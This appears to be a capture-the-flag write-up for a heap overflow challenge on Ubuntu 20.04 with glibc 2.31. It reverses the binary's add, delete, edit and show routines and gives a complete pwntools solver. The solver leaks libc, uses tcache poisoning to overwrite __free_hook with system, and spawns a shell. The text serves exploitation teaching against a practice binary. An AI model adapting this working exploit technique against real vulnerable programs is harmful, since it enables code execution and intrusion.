overflow-20.04

Heap Overflow on Ubuntu 20.04.

4 min read


Table of Contents

[ + ] Introduction
[ + ] Reversing
[ + ] Exploiting
[ + ] Solution

[ + ]Introduction

This challenge is the exploitation of a simple heap overflow vulnerability on Ubuntu 20.04. We are working with glibc 2.31 so fortunately there is no need to bypass any advanced mitigation techniques.

[ + ]Reversing

Below you can find the decompiled code snippets, explanations, and details about the heap overflow vulnerability.

TL;DR - Overflow vulnerability caused by user defined input size rather than using the respective heap chunk size.

 main

As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.

Image
 add

Here we can see we are able to add a node.

At the top we see that the global array is of size 0xF. Then we allocate a chunk on the heap of any size less than 0x1FFF. The pointer to the chunk is stored in array and the size is stored in size_array.

size_array is not referenced in edit, which is the root cause for the overflow vulnerability.

Image
 delete

Here we are able to delete nodes.

We can see that by providing some input less than 0xF results in the freeing of the chunk from the pointer at array[v1], removing the pointer from array[v1] , and removing the size from size_array[v1] .

This portion of the code is safe (unlike in uaf 22.04).

Image
 edit

Here we are able to edit a node.

The node is directly modified through the pointer at array[v1] based on the input we provided.

There are two important parts to this sub-routine:

  1. size_array[v1] can be modified, allowing us to read other chunks on the heap.
  2. We are able to write v1 bytes to a chunk (so long as it is less than 0x1FFF) allowing us to overwrite data in other chunks, causing the overflow vulnerability.
Image
 show

Here we are able to show a node.

The node and size of the node is pulled from array and size_array respectively based on the input we provide. Since we can set the size_array[v1] value almost arbitrarily in the edit subroutine, we are able to read data from other chunks on the heap.

Image

[ + ]Exploiting

In order to exploit this overflow vulnerability there are a few steps.

  • Leak libc
  • Overwrite __free_hook with system and ensure correct /bin/sh parameter
  • Trigger __free_hook (system)

Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408 such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk. We can set ourselves up for the next step by allocating three chunks rather than one.

alloc(0x20)  # Chunk B
alloc(0x409)  # Chunk A
alloc(0x20)  # Chunk B

free(1)
fill(0, 0x100, b'\x00')

leak = dump(0)
leak = u64(leak[0x38:0x38 + 8])
free_hook = leak + 0x2268
libc_m = leak - 0x1ecbe0
libc.address = libc_m
log.info("Leak is:        " + hex(leak))
log.info("libc is:        " + hex(libc_m))
log.info("puts is:        " + hex(libc.sym.puts))

When looking at the heap, we see the following:

Image

As show, we have a chunk in unsorted_bins after being freed and successfully leaked libc.

Now lets look at overwriting the content at __free_hook and ensuring that /bin/sh is passed as an argument when system is called.

# Clean the old chunks. Not necessary but makes it easier to debug.
free(2)
free(0)

# Prep for tcache grooming
alloc(0x20)  # 0
alloc(0x20)  # 1
alloc(0x20)  # 2
alloc(0x20)  # 3
alloc(0x20)  # 4
alloc(0x20)  # 5 - Protect from top chunk

free(4)
free(3)
free(2)

# Set fw pointer of chunk 3 to __free_hook
alloc(0x20)  # 2
overflow = b'L' * 0x28 + p64(0x31) + p64(free_hook)
fill(2, len(overflow), overflow)
alloc(0x20)  # 3
alloc(0x20)  # 4

# Set __free_hook content to system
fill(4, 0x8, p64(libc.sym.system))

# Set /bin/sh as argument when freeing
fill(0, 0x20, b'/bin/sh\0')

# Trigger exploit
free(0)
target.interactive()

Here we are adding the address on __free_hook to the forward pointer of chunk 3, such that when we edit chunk 4 we will actually be modifying the content at the address of __free_hook.

Image

So that after we edit chunk 4, we have actually modified the content at free hook:

Image

From there, we can trigger system by freeing anything really, but to ensure we have /bin/sh as our argument, we free the chunk 0 which has a forward pointer of /bin/sh\0.

Image

[ + ]Solution

Image
 Solver
# Import pwntools
from pwn import *
from pwnlib.util.packing import *

# Context
context.arch = 'amd64'
# context.log_level = 'DEBUG'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

target = process(['/nyu/overflow'])
pause()

# Establish the functions to interact with the program
def alloc(size):
    target.recvuntil(b">")
    target.sendline(b"1")
    target.recvuntil(b"Size:\n")
    target.sendline(str(size).encode('utf-8'))

def free(index):
    target.recvuntil(b">")
    target.sendline(b"2")
    target.recvuntil(b">")
    target.sendline(str(index).encode('utf-8'))

def fill(index, size, content):
    target.recvuntil(b">")
    target.sendline(b"3")
    target.recvuntil(b">")
    target.sendline(str(index).encode('utf-8'))
    target.recvuntil(b"Size:\n")
    target.sendline(str(size).encode('utf-8'))
    target.recvuntil(b"Content:")
    target.send(content)

def dump(index):
    target.recvuntil(b">")
    target.sendline(b"4")
    target.recvuntil(b">")
    target.sendline(str(index).encode('utf-8'))
    target.recvuntil(b"Content:\n")
    content = target.recvline(p64(0) * 2)
    return content


def pwn():
    alloc(0x20)  # Chunk B
    alloc(0x409)  # Chunk A
    alloc(0x20)  # Chunk B

    free(1)

    fill(0, 0x100, b'\x00')

    leak = dump(0)
    leak = u64(leak[0x38:0x38 + 8])
    free_hook = leak + 0x2268
    libc_m = leak - 0x1ecbe0
    libc.address = libc_m
    log.info("Leak is:        " + hex(leak))
    log.info("libc is:        " + hex(libc_m))
    log.info("puts is:        " + hex(libc.sym.puts))

    # Clean the old chunks. Not necessary but makes it easier to debug.
    free(2)
    free(0)

    # Prep for tcache grooming
    alloc(0x20)  # 0
    alloc(0x20)  # 1
    alloc(0x20)  # 2
    alloc(0x20)  # 3
    alloc(0x20)  # 4
    alloc(0x20)  # 5 - Protect from top chunk

    free(4)
    free(3)
    free(2)

    # Set fw pointer of chunk 3 to __free_hook
    alloc(0x20)  # 2
    overflow = b'L' * 0x28 + p64(0x31) + p64(free_hook)
    fill(2, len(overflow), overflow)
    alloc(0x20)  # 3
    alloc(0x20)  # 4

    # Set __free_hook content to system
    fill(4, 0x8, p64(libc.sym.system))

    # Set /bin/sh as argument when freeing
    fill(0, 0x20, b'/bin/sh\0')

    # Trigger exploit
    free(0)
    target.interactive()

if __name__ == "__main__":
    pwn()